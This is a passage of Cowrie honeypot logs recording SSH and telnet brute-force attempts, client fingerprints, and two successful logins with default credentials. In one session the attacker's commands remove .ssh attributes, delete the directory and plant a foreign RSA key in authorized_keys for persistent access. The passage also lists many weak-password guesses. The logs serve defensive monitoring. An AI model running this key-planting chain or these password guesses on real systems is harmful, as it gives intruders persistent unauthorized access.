penssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:38.950160Z","src_ip":"165.154.137.186","session":"9bba23609c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34194,"dst_ip":"159.203.135.109","dst_port":23,"session":"fabbdc46fe26","protocol":"telnet","message":"New connection: 128.199.8.54:34194 (159.203.135.109:23) [session: fabbdc46fe26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:39.465255Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:39.727315Z","src_ip":"165.154.137.186","session":"9bba23609c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:41.047836Z","src_ip":"165.154.137.186","session":"9bba23609c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":54728,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ce86f88ce1","protocol":"ssh","message":"New connection: 51.250.105.222:54728 (159.203.135.109:22) [session: 03ce86f88ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:44.775435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:44.779068Z","src_ip":"51.250.105.222","session":"03ce86f88ce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:44.904393Z","src_ip":"51.250.105.222","session":"03ce86f88ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:45.280601Z","src_ip":"51.250.105.222","session":"03ce86f88ce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37000,"dst_ip":"10.17.0.5","dst_port":22,"session":"c14f8e9b98ff","protocol":"ssh","message":"New connection: 165.154.137.186:37000 (10.17.0.5:22) [session: c14f8e9b98ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:45.968425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:45.972428Z","src_ip":"165.154.137.186","session":"c14f8e9b98ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:46.243084Z","src_ip":"165.154.137.186","session":"c14f8e9b98ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:46.408718Z","src_ip":"51.250.105.222","session":"03ce86f88ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:47.209342Z","src_ip":"165.154.137.186","session":"c14f8e9b98ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:48.481492Z","src_ip":"165.154.137.186","session":"c14f8e9b98ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":50222,"dst_ip":"10.17.0.5","dst_port":22,"session":"f370a827c36f","protocol":"ssh","message":"New connection: 165.154.137.186:50222 (10.17.0.5:22) [session: f370a827c36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:49.260904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:49.264869Z","src_ip":"165.154.137.186","session":"f370a827c36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:49.521653Z","src_ip":"165.154.137.186","session":"f370a827c36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:50.377604Z","src_ip":"165.154.137.186","session":"f370a827c36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:51.636627Z","src_ip":"165.154.137.186","session":"f370a827c36f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:54.440119Z","src_ip":"41.75.114.30","session":"308dc356b7b6","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:54.518258Z","src_ip":"41.75.114.30","session":"308dc356b7b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56828,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c6265bd953a","protocol":"ssh","message":"New connection: 165.154.137.186:56828 (10.17.0.5:22) [session: 7c6265bd953a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:57.446044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:57.450416Z","src_ip":"165.154.137.186","session":"7c6265bd953a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:57.705436Z","src_ip":"165.154.137.186","session":"7c6265bd953a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:58.475827Z","src_ip":"165.154.137.186","session":"7c6265bd953a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:59.742833Z","src_ip":"165.154.137.186","session":"7c6265bd953a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":51570,"dst_ip":"159.203.135.109","dst_port":22,"session":"e30121580b4e","protocol":"ssh","message":"New connection: 147.45.211.215:51570 (159.203.135.109:22) [session: e30121580b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:59.813807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:59.819024Z","src_ip":"147.45.211.215","session":"e30121580b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:59.993620Z","src_ip":"147.45.211.215","session":"e30121580b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cf","message":"login attempt [root/cf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:00.516981Z","src_ip":"147.45.211.215","session":"e30121580b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:01.690888Z","src_ip":"147.45.211.215","session":"e30121580b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39288,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd9be7b0c72e","protocol":"telnet","message":"New connection: 172.81.62.90:39288 (159.203.135.109:23) [session: fd9be7b0c72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:02.052502Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":46995,"dst_ip":"10.17.0.5","dst_port":22,"session":"e14ecba005f3","protocol":"ssh","message":"New connection: 170.80.65.140:46995 (10.17.0.5:22) [session: e14ecba005f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:08.245431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:08.250542Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:08.375120Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Admin123","message":"login attempt [oracle/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:08.904617Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.212569Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.215646Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.219521Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.472908Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.667231Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.671206Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.803472Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.807009Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":47227,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7f222b58c8","protocol":"ssh","message":"New connection: 170.80.65.140:47227 (10.17.0.5:22) [session: 5d7f222b58c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.923934Z"}
